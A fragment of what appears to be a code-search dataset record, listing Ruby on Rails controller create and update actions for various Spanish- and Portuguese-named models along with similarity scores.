format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_orcamento\n @produto = Produto.new(produto_params)\n\n respond_to do |format|\n if @produto.save\n format.html { redirect_to edit_produto_path(@produto), notice: '' }\n format.json { render :show, status: :created, location: @produto }\n else\n format.html { render :new }\n format.json { render json: @produto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @veterinario = Veterinario.new(veterinario_params)\n\n respond_to do |format|\n if @veterinario.save\n format.html { redirect_to @veterinario, notice: \"Veterinario was successfully created.\" }\n format.json { render :show, status: :created, location: @veterinario }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @veterinario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @vendamesa = Vendamesa.new(vendamesa_params)\n\n respond_to do |format|\n if @vendamesa.save\n @mesa = Mesa.find(@vendamesa.mesa_id)\n @pedidos = Pedido.where(\"mesa_id = ? AND flag =?\", @mesa, false)\n @pedidos.each do |pedido|\n pedido.update_attributes(flag: true)\n end\n \n format.html { redirect_to mesas_path, notice: 'Vendamesa was successfully created.' }\n format.json { render action: 'show', status: :created, location: @vendamesa }\n else\n format.html { render action: 'new' }\n format.json { render json: @vendamesa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end", "def create\n @denuncia_tipo = DenunciaTipo.new(params[:denuncia_tipo])\n\n respond_to do |format|\n if @denuncia_tipo.save\n format.html { redirect_to @denuncia_tipo, notice: 'Denuncia tipo was successfully created.' }\n format.json { render json: @denuncia_tipo, status: :created, location: @denuncia_tipo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @denuncia_tipo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @item = Item.new(item_params)\n @modelo=@item.modelo\n @pedmodelo=Pedmodelo.new\n @pedmodelo.codigo=@modelo.codigo\n @pedmodelo.nombre=@modelo.nombre\n @pedmodelo.alto =@modelo.mueble.alto\n @pedmodelo.ancho =@modelo.mueble.ancho\n @pedmodelo.fondo =@modelo.mueble.fondo\n @pedmodelo.descripcion =@modelo.descripcion\n respond_to do |format|\n if @item.save\n @pedmodelo.save\n format.html { redirect_to @item.pedido, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item.pedido }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prueba_json = PruebaJson.new(prueba_json_params)\n\n respond_to do |format|\n if @prueba_json.save\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully created.' }\n format.json { render action: 'show', status: :created, location: @prueba_json }\n else\n format.html { render action: 'new' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def detpedido_params\n params.require(:detpedido).permit(:canped)\n end", "def create\n @serv_adicionale = ServAdicionale.new(params[:serv_adicionale])\n\n respond_to do |format|\n if @serv_adicionale.save\n format.html { redirect_to @serv_adicionale, notice: 'Serv adicionale was successfully created.' }\n format.json { render json: @serv_adicionale, status: :created, location: @serv_adicionale }\n else\n format.html { render action: \"new\" }\n format.json { render json: @serv_adicionale.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @depoimento = Depoimento.new(depoimento_params)\n\n respond_to do |format|\n if @depoimento.save\n format.html { redirect_to @depoimento, notice: 'Depoimento was successfully created.' }\n format.json { render :show, status: :created, location: @depoimento }\n else\n format.html { render :new }\n format.json { render json: @depoimento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params.permit(:intitule, :estObligatoire, :nombreDeCaractere, :ordre, :sondage_id)\n ajout = QuestionOuverteService.instance.creerQuestionOuverte(params[:intitule], params[:estObligatoire], params[:nombreDeCaractere], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end", "def create\n # valor = params[:pedido][:valor]\n # params[:pedido][:valor] = valor.split( ',').join('.')\n conta = Conta.find_by_cliente_id(params[:pedido][:cliente_id])\n @proteinas_disponiveis = Proteina.where(:disponibilidade => true)\n @acompanhamentos_disponiveis = Acompanhamento.where(:disponibilidade => true)\n @guarnicoes_disponiveis = Guarnicao.where(:disponibilidade => true)\n @saladas_disponiveis = Salada.where(:disponibilidade => true)\n @bebidas_disponiveis = Bebida.where(:disponibilidade => true)\n @sobremesas_disponiveis = Sobremesa.where(:disponibilidade => true)\n #descricao = \"\"\n @pedido = Pedido.new(pedido_params)\n @pedido.conta_id = conta.id.to_i\n # if @pedido.cliente.nil?\n # @pedido.cliente = Cliente.find(current_usuario.cliente.id)\n # @pedido.conta = Conta.find_by_cliente_id(current_usuario.id)\n # end\n # ENTRADAS #\n # acompanhamentos = params[:pedido][:acompanhamento_ids]\n # acompanhamentos.each do |id|\n # if !id.blank?\n # acompanhamento = Acompanhamento.find(id.to_i)\n # @pedido.pedidos_acompanhamentos.new(:acompanhamento_id => id)\n # #@pedido.acompanhamentos << acompanhamento\n # end\n # end\n ###### FINAL ENTRADAS ########\n acompanhamentos = Acompanhamento.where(:disponibilidade => true).count\n for i in 0...acompanhamentos do\n if !params[\"acompanhamento_#{i}\"].blank?\n @pedido.pedidos_acompanhamentos.new(:acompanhamento_id => params[\"acompanhamento_#{i}\"], :quantidade => params[\"quantidade_acompanhamento_#{i}\"])\n end\n end\n\n proteinas = Proteina.where(:disponibilidade => true).count\n for i in 0...proteinas do\n if !params[\"proteina_#{i}\"].blank?\n @pedido.pedidos_proteinas.new(:proteina_id => params[\"proteina_#{i}\"], :quantidade => params[\"quantidade_proteina_#{i}\"])\n end\n end\n\n guarnicoes = Guarnicao.where(:disponibilidade => true).count\n for i in 0...guarnicoes do\n if !params[\"guarnicao_#{i}\"].blank?\n @pedido.pedidos_guarnicoes.new(:guarnicao_id => params[\"guarnicao_#{i}\"], :quantidade => params[\"quantidade_guarnicao_#{i}\"])\n end\n end\n\n saladas = Salada.where(:disponibilidade => true).count\n for i in 0...saladas do\n if !params[\"salada_#{i}\"].blank?\n @pedido.pedidos_saladas.new(:salada_id => params[\"salada_#{i}\"], :quantidade => params[\"quantidade_salada_#{i}\"])\n end\n end\n\n bebidas = Bebida.where(:disponibilidade => true).count\n for i in 0...bebidas do\n if !params[\"bebida_#{i}\"].blank?\n @pedido.pedidos_bebidas.new(:bebida_id => params[\"bebida_#{i}\"], :quantidade => params[\"quantidade_bebida_#{i}\"])\n end\n end\n\n sobremesas = Sobremesa.where(:disponibilidade => true).count\n for i in 0...sobremesas do\n if !params[\"sobremesa_#{i}\"].blank?\n @pedido.pedidos_sobremesas.new(:sobremesa_id => params[\"sobremesa_#{i}\"], :quantidade => params[\"quantidade_sobremesa_#{i}\"])\n end\n end\n\n\n #@pedido.proteinas << Proteina.where(:nome => params[:proteina]).first\n\n # debugger\n # if !params[:arroz].nil?\n # descricao = \"Arroz \"+ params[:arroz] + \",\"\n # end\n # if params[:feijao] = \"Sim\"\n # descricao = descricao + \" Feijao, \"\n # end\n\n # if params[:farofa] == \"Sim\"\n # descricao = descricao + \" Farofa,\"\n # end\n\n # descricao = descricao + params[:proteina] + \", \" + params[:acompanhamento] + \" Salada: \"+ params[:salada]\n # @pedido.descricao = descricao\n # itens = params[:pedido][:item_de_pedidos_attributes]\n\n # if !itens.nil?\n # for i in 0..params[:pedido][:item_de_pedidos_attributes].count do\n # if itens[\"#{i}\"] != nil\n # if itens[\"#{i}\"][:produto_id].blank?\n # itens.delete(\"#{i}\")\n # end\n # else\n # itens.delete(\"#{i}\")\n # end\n # end\n # end\n # if !itens.blank?\n # @pedido.calcular_valor\n # else\n # @pedido.item_de_pedidos.destroy_all\n # @pedido.valor = 0\n # end\n # if !itens.nil?\n # params[:pedido][:item_de_pedidos_attributes].replace(itens)\n # end\n\n @pedido.situacao = \"Em processamento\"\n #parametros[:valor] = @pedido.valor\n\n respond_to do |format|\n if @pedido.save\n @pedido.calcular_valor\n @pedido.conta.calcular_saldo\n #@pedido.adicionar_conta\n #proteina = @pedido.proteina\n #proteina.decrescer\n format.html { redirect_to @pedido }\n format.json { render action: 'show', status: :created, location: @pedido }\n else\n format.html { render action: 'new' }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estacionamiento = Estacionamiento.new(params[:estacionamiento])\n\n respond_to do |format|\n if @estacionamiento.save\n format.html { redirect_to @estacionamiento, notice: 'Estacionamiento was successfully created.' }\n format.json { render json: @estacionamiento, status: :created, location: @estacionamiento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estacionamiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @producto_padre = ProductoPadre.new(producto_padre_params)\r\n\r\n respond_to do |format|\r\n if @producto_padre.save\r\n format.html { redirect_to producto_padres_path, notice: 'Producto padre creado.' }\r\n format.json { render :show, status: :created, location: @producto_padre }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @producto_padre.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @descuento = Descuento.new(params[:descuento])\n\n respond_to do |format|\n if @descuento.save\n format.html { redirect_to @descuento, notice: 'Descuento was successfully created.' }\n format.json { render json: @descuento, status: :created, location: @descuento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @descuento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @servidor = Servidor.new(servidor_params)\n\n respond_to do |format|\n if @servidor.save\n format.html { redirect_to servidores_path, success: 'Servidor cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @servidor }\n else\n format.html { render :new }\n format.json { render json: @servidor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @veterinario = Veterinario.new(veterinario_params)\n\n respond_to do |format|\n if @veterinario.save\n format.html { redirect_to @veterinario, notice: 'Veterinario was successfully created.' }\n format.json { render :show, status: :created, location: @veterinario }\n else\n format.html { render :new }\n format.json { render json: @veterinario.errors, status: :unprocessable_entity }\n end\n end\n end", "def posto_params\n params.require(:posto).permit(:codigo, :tipo, :kms_total, :kms_usado, :status)\n end", "def create\n @ponderacion = Ponderacion.new(ponderacion_params)\n\n respond_to do |format|\n if @ponderacion.save\n format.html { redirect_to @ponderacion, notice: 'Ponderacion was successfully created.' }\n format.json { render :show, status: :created, location: @ponderacion }\n else\n format.html { render :new }\n format.json { render json: @ponderacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @relatorio_pedagogicos = RelatorioPedagogico.all\n authorize @relatorio_pedagogicos\n\n @relatorio_pedagogico = RelatorioPedagogico.new(relatorio_pedagogico_params)\n\n respond_to do |format|\n if @relatorio_pedagogico.save\n format.html { redirect_to @relatorio_pedagogico, notice: 'Relatório pedagógico criado com sucesso!' }\n format.json { render :show, status: :created, location: @relatorio_pedagogico }\n else\n format.html { render :new }\n format.json { render json: @relatorio_pedagogico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n produto_pedido = ProdutoPedido.new(produto_pedido_params)\n if produto_pedido.save\n \n @pedido = produto_pedido.pedido\n @produto_pedido = ProdutoPedido.new(pedido: @pedido)\n @total = 0.0\n @pedido.produto_pedidos.each { |pp| @total += pp.produto.preco*pp.quantidade }\n render 'create.js'\n else\n render 'create.js'\n end\n end", "def create\n @orden_entrega = OrdenEntrega.new(orden_entrega_params)\n\n respond_to do |format|\n if @orden_entrega.save\n format.html { redirect_to @orden_entrega, notice: 'Orden entrega was successfully created.' }\n format.json { render :show, status: :created, location: @orden_entrega }\n else\n format.html { render :new }\n format.json { render json: @orden_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:get]\n @plato = Plato.where(\"soda_id = ?\", params[:soda_id])\n\n #if !@plato.comentario.first.nil?\n # render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id], include: [comentario:{only: [:id]}])\n #else\n render json: @plato.as_json(only: [:id, :nombre, :precio, :categoria, :tipo, :calificaciones, :total, :soda_id])\n #end\n\n else\n @plato = Plato.new(plato_params)\n\n if @plato.save\n render json: @plato, status: :created, location: @plato\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end\n\n end", "def venda_params\r\n params.require(:venda).permit(:data, :preco_total, :status, :cliente_id, produto_attributes: [:nome, :_destroy])\r\n end", "def create\n @depoevento = Depoevento.new(params[:depoevento])\n\n respond_to do |format|\n if @depoevento.save\n format.html { redirect_to @depoevento, notice: 'Depoevento was successfully created.' }\n format.json { render json: @depoevento, status: :created, location: @depoevento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @depoevento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tipo_parada = TipoParada.new(tipo_parada_params)\n\n respond_to do |format|\n if @tipo_parada.save\n format.html { redirect_to @tipo_parada, notice: 'Tipo parada was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_parada }\n else\n format.html { render :new }\n format.json { render json: @tipo_parada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @estacionamiento = Estacionamiento.new(estacionamiento_params)\n @lista_departamentos = Ubigeo.find_by_sql(\"select distinct idDepartamento, Departamento from ubigeos\")\n @lista_provincias = Ubigeo.find_by_sql(\"select distinct idProvincia, Provincia from ubigeos\")\n @lista_distritos = Ubigeo.find_by_sql(\"select distinct idDistrito, Distrito from ubigeos\")\n @serv_adicinales = ServAdicinale.all\n\n respond_to do |format|\n if @estacionamiento.save\n format.html { redirect_to @estacionamiento, notice: 'Estacionamiento was successfully created.' }\n format.json { render :show, status: :created, location: @estacionamiento }\n else\n format.html { render :new }\n format.json { render json: @estacionamiento.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @detalle = Detalle.new(detalle_params)\n\n respond_to do |format|\n if @detalle.save\n format.html { redirect_to @detalle, notice: 'Detalle was successfully created.' }\n format.json { render :show, status: :created, location: @detalle }\n else\n format.html { render :new }\n format.json { render json: @detalle.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.69962037", "0.6992545", "0.6986143", "0.67919403", "0.6747205", "0.6718652", "0.67047507", "0.6665179", "0.6665134", "0.6649807", "0.66279685", "0.661703", "0.6612084", "0.66078395", "0.6603146", "0.6523099", "0.64969224", "0.6495659", "0.6465211", "0.6391158", "0.6362935", "0.63392437", "0.6332175", "0.6314239", "0.6303129", "0.62836695", "0.626195", "0.625292", "0.6252821", "0.6232683", "0.6213194", "0.6200098", "0.6180442", "0.61719865", "0.61694175", "0.6163828", "0.6149355", "0.6139146", "0.6133931", "0.6124659", "0.6104558", "0.60817206", "0.60799474", "0.60609376", "0.605482", "0.60397524", "0.6036132", "0.6030402", "0.60233486", "0.6013222", "0.6008185", "0.6007574", "0.60018724", "0.59911263", "0.59822214", "0.59735024", "0.59471536", "0.5942789", "0.59293985", "0.5921083", "0.59200174", "0.59154654", "0.5908147", "0.5907961", "0.590713", "0.5897515", "0.5896226", "0.58877355", "0.58859336", "0.588357", "0.58809114", "0.58795923", "0.5877949", "0.58770704", "0.5872206", "0.5868432", "0.5863086", "0.58539987", "0.585305", "0.5850235", "0.58483595", "0.58483493", "0.5840961", "0.5839372", "0.5836321", "0.582851", "0.58226657", "0.5821156", "0.5818143", "0.58174044", "0.5817316", "0.5817232", "0.58108604", "0.58070016", "0.5802468", "0.5801258", "0.57950497", "0.5791041" ]
0.69461566
5
PATCH/PUT /pedidos/1 PATCH/PUT /pedidos/1.json
def update respond_to do |format| if @pedido.update(pedido_params) format.html { redirect_to @pedido, notice: 'Pedido was successfully updated.' } format.json { render :show, status: :ok, location: @pedido } else format.html { render :edit } format.json { render json: @pedido.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @pedido = Pedido.find(params[:id])\n\n respond_to do |format|\n if @pedido.update_attributes(params[:pedido])\n format.html { redirect_to @pedido, notice: 'Pedido was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pedido.update(pedido_params)\n format.html { redirect_to @pedido, notice: 'Pedido foi alterado(a) com sucesso.' }\n format.json { render :show, status: :ok, location: @pedido }\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pedido.update(pedido_params)\n format.html { redirect_to itens_pedido_path, notice: 'Pedido atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @pedido }\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pedido.update(pedido_params)\n format.html { redirect_to @pedido, notice: t('.atualizado') }\n format.json { render :show, status: :ok, location: @pedido }\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @objeto.update(detalle_pedido_params)\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Detalle pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \tusuario_pedido = @usuario.pedidos.find(@pedido.id)\n \t\tif usuario_pedido.update(parametros_actualizar_usuario_negocio)\n \t\thead :no_content\n \t\telse\n \t\trender json: @usuario_pedido.errors, status: :unprocessable_entity\n \t\tend\n else\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \tnegocio_pedido = @negocio.pedidos.find(@pedido.id)\n \tif negocio_pedido.update(parametros_actualizar_pedido_negocio)\n \thead :no_content\n \telse\n \trender json: @negocio_pedido.errors, status: :unprocessable_entity\n \tend\n \tend\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @safra_verdoso = SafraVerdoso.find(params[:id])\n\n respond_to do |format|\n if @safra_verdoso.update_attributes(params[:safra_verdoso])\n format.html { redirect_to \"/safra_produtos/#{@safra_verdoso.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra_verdoso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @local_pedido.update(local_pedido_params)\n format.html { redirect_to @local_pedido, notice: 'Local pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @local_pedido }\n else\n format.html { render :edit }\n format.json { render json: @local_pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @productos = Car.where(:pedidoID => params[:id])\n respond_to do |format| \n if @pedido.update(pedido_params)\n \n format.html { redirect_to \"/\", notice: 'Pedido was successfully updated.' }\n format.json { render :show, status: :ok, location: @pedido }\n RestClient.post \"https://api:key-e7d79c66e74391fdf48b657624f23ddc\"\\\n \"@api.mailgun.net/v3/sandboxb9c2dadab0ea49f6b7130d1091646c59.mailgun.org/messages\",\n :from => \"Sistema de Pedidos <mailgun@sandboxb9c2dadab0ea49f6b7130d1091646c59.mailgun.org>\",\n #:to => \"proteina@sinergroup.com.mx\",\n :to => \"proteina@sinergroup.com.mx\",\n :subject => \"Solicitud de Pedido\",\n :html => (render_to_string(template: \"../views/pedidos/email\")).to_str\n else\n format.html { render :edit }\n format.json { render json: @pedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n obtener_datos()\n @status = params[:statusproyect]\n @cliente = params[:cliente] + \" \" +params[:cliente_apellido]\n respond_to do |format|\n if @ventum.update(cliente: @cliente, clave:@clave, fecha:@fecha, iva:@iva,subtotal:@preciofinal ,total:@totalcosto, descuentogeneral: @descglobal , distribuidor: @distribuidor, status: @status)\n @detail.each do |x|\n x.destroy\n end\n salvar()\n format.html { redirect_to @ventum, notice: 'Venta actualizada correctamente.' }\n format.json { render :show, status: :ok, location: @ventum }\n else\n format.html { render :edit }\n format.json { render json: @ventum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pedidos_has_prato.update(pedidos_has_prato_params)\n format.html { redirect_to @pedidos_has_prato, notice: 'Pedidos has prato was successfully updated.' }\n format.json { render :show, status: :ok, location: @pedidos_has_prato }\n else\n format.html { render :edit }\n format.json { render json: @pedidos_has_prato.errors, status: :unprocessable_entity }\n end\n end\n end", "def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end", "def patch!\n request! :patch\n end", "def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end", "def update\n @clientepedido = Clientepedido.find(params[:id])\n\n respond_to do |format|\n if @clientepedido.update_attributes(params[:clientepedido])\n format.html { redirect_to @clientepedido, notice: 'EL pedido fue actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientepedido.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n respond_to do |format|\n if @poligono.update(poligono_params)\n format.html { redirect_to @poligono, notice: 'Poligono was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @poligono.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to [:admin, @oferta], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @peticion_servicio_ti = Peticion::ServicioTi.find(params[:id])\n\n respond_to do |format|\n if @peticion_servicio_ti.update_attributes(params[:peticion_servicio_ti])\n format.html { redirect_to edit_peticion_servicio_ti_path(@peticion_servicio_ti), notice: 'Actualizado Correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peticion_servicio_ti.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to servicos_url, notice: 'Serviço atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @respuesta = Respuesta.find(params[:id])\n\n respond_to do |format|\n if @respuesta.update_attributes(params[:respuesta])\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @os_entregavel.update(os_entregavel_params)\n if @os_entregavel.ordem_servico.id!=nil\n format.html { redirect_to \"/ordem_servicos/\"+@os_entregavel.ordem_servico.id.to_s, notice: 'Os entregavel foi atualizado(a)' }\n format.json { head :no_content }\n else\n format.html { redirect_to @os_entregavel, notice: 'Os entregavel foi atualizado(a)' }\n format.json { render :show, status: :ok, location: @os_entregavel }\n end\n else\n format.html { render :edit }\n format.json { render json: @os_entregavel.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n log(\"Se ha editado la nomina #{@lt}\", 1)\n format.html { redirect_to tipos_path, notice: 'Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end", "def update\n @respuesta = Respuesta.find(params[:id])\n\n if @respuesta.update(params[:respuesta])\n head :no_content\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end", "def update\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n if @peso.update_attributes(params[:peso])\n format.html { redirect_to @peso, notice: 'Peso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @produto.update(produto_params)\n respond_with @produto\n end", "def update\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n if @serv_adicionale.update_attributes(params[:serv_adicionale])\n format.html { redirect_to @serv_adicionale, notice: 'Serv adicionale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serv_adicionale.errors, status: :unprocessable_entity }\n end\n end\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def activo_update\n respond_to do |format|\n activo = params[:producto][:activo]\n id = params[:id]\n Producto.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "def update\n respond_to do |format|\n if @opcao.update(opcao_params)\n format.html { redirect_to @opcao, notice: 'Opcao atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @opcao }\n else\n format.html { render :edit }\n format.json { render json: @opcao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pedido = Pedido.find(params[:id])\n\n respond_to do |format|\n if @pedido.update_attributes(params[:pedido])\n format.html { redirect_to(@pedido, :notice => 'Pedido was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pedido.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @parola.update(parola_params)\n format.html { redirect_to parolas_url, notice: 'Parola was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @parola.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @voluntario.update(voluntario_params) and @voluntario.update_attributes(:modificador => current_user.id)\n format.html { redirect_to @voluntario, notice: 'Voluntario was successfully updated.' }\n format.json { render :show, status: :ok, location: @voluntario }\n else\n format.html { render :edit }\n format.json { render json: @voluntario.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n respond_to do |format|\n if @cliente.update(cliente_params)\n #--ADICIONADO\n \t @cliente.perfilclientes.destroy_all()\n if params[:cliente][:perfil_ids]\n \t\tparams[:cliente][:perfil_ids].each do |ss|\n \t\t\t@cliente.perfilclientes.create(:cliente_id => @cliente.id, :perfil_id => ss)\n \t\tend\n end\n #--ADICIONADO\n format.html { redirect_to clientes_url, notice: 'Cliente actualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cliente.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n 